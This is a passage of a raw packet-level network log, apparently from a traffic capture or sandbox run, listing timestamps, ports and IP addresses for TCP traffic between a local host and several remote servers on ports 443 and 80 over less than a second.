Nov 9, 2024 22:09:45.600824118 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.600837946 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.600850105 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.600856066 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.603449106 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.603466988 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.603600979 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.603765011 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.603777885 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.639333010 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.662887096 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.662956953 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.663007021 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.663249969 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.663269043 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.663283110 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.663288116 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.666536093 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.666555882 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.666635036 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.666783094 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:45.666796923 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:45.676141024 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.676215887 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.676340103 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.677886009 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.677901983 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.754813910 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.754838943 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.754847050 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.754899979 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.754928112 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.754940033 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.754976034 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.755558968 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.755569935 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.755599976 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.755738020 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.755768061 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.755868912 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.819658041 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.819686890 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.819824934 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.820096016 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:45.820113897 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:45.822107077 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.822130919 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.822144985 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.822181940 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.822204113 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.822220087 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.822246075 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.871802092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.871833086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.871845007 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.871854067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.871896982 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.871910095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.871949911 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872013092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872039080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872077942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872106075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872118950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872129917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872143984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872176886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872307062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872325897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872338057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872364998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872387886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872529030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872541904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872554064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872581959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872611046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872733116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872742891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872782946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872864962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872879028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.872920036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872947931 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.872998953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.873011112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.873023033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.873050928 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.873111963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.882364035 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.882379055 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.882433891 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.882441998 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.882494926 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.883789062 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:45.883802891 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:45.937820911 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.937841892 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.937916994 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.937938929 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:45.937980890 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:45.964358091 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.964653969 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.964716911 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.966244936 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.966309071 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.967463970 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.967524052 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.972994089 CET	443	49882	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.973221064 CET	49882	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.973233938 CET	443	49882	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.973542929 CET	443	49883	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.973722935 CET	49883	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.973748922 CET	443	49883	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.973942995 CET	443	49882	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.974097013 CET	443	49883	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.974411011 CET	49882	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.974478006 CET	443	49882	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:45.974780083 CET	49883	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:45.974852085 CET	443	49883	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:46.021461964 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:46.021486044 CET	443	49884	23.221.22.213	192.168.2.5
Nov 9, 2024 22:09:46.021496058 CET	49882	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:46.021524906 CET	49883	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:46.026418924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026443958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026492119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026495934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.026532888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.026607990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026622057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026659966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.026685953 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.026736021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026773930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.026776075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026788950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.026829958 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.026957989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027013063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027045012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027057886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027082920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027100086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027211905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027225971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027266026 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027363062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027374029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027390957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027400017 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027404070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027445078 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027677059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027693033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027743101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027757883 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027817965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027833939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.027867079 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027893066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.027941942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028018951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.028024912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028039932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028052092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028064013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.028064013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028090000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.028129101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.028413057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028424978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028438091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.028453112 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.028476000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.029447079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.029459000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.029490948 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.029577971 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.053628922 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.053668022 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.053724051 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.053750992 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.053771019 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.053797007 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.065793037 CET	49884	443	192.168.2.5	23.221.22.213
Nov 9, 2024 22:09:46.143210888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143266916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143280029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143302917 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.143357992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.143371105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143383026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143395901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143407106 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.143443108 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.143580914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.143655062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.169220924 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.169245005 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.169320107 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.169351101 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.169398069 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.177854061 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.180949926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.180973053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.180994987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181101084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181116104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181129932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181143999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181178093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181202888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181418896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181461096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181509018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181523085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181545973 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181566000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181660891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181701899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181723118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181723118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181736946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181737900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181767941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181777000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181809902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181823969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181859970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.181979895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.181989908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182024002 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182080030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182091951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182116985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182135105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182214975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182226896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182251930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182265043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182368994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182383060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182394981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182424068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182456970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182581902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182627916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182630062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182666063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.182686090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.182730913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.184705973 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.184743881 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.185359001 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.185374975 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.188894033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.189064980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.189093113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.189116001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.260118961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260174036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260179996 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.260186911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260256052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.260256052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.260313034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260325909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260370016 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.260499954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260581017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260592937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260606050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.260684013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.260720015 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.284881115 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.284905910 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.284991980 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.285022974 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.285259008 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.297931910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.297966003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.297977924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.297993898 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298017025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298072100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298084021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298099041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298154116 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298154116 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298290968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298336983 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298428059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298439026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298449993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298491001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298554897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298567057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298579931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298598051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298619032 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298824072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298835993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298847914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.298890114 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.298964977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.299102068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299115896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299140930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.299166918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.299319029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299333096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299345016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299359083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299371004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299386978 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.299413919 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.299799919 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299879074 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.299936056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299948931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299961090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.299976110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.300017118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.300017118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.300213099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.300282001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.301345110 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:46.301389933 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:46.301637888 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:46.301884890 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:46.301899910 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:46.309169054 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.311028957 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.311053991 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.311124086 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.311171055 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.311196089 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.311661959 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.311678886 CET	443	49886	13.107.246.45	192.168.2.5
